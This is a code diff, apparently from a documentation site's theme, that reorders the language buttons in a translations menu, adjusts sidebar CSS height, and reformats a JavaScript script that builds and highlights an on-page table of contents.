--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})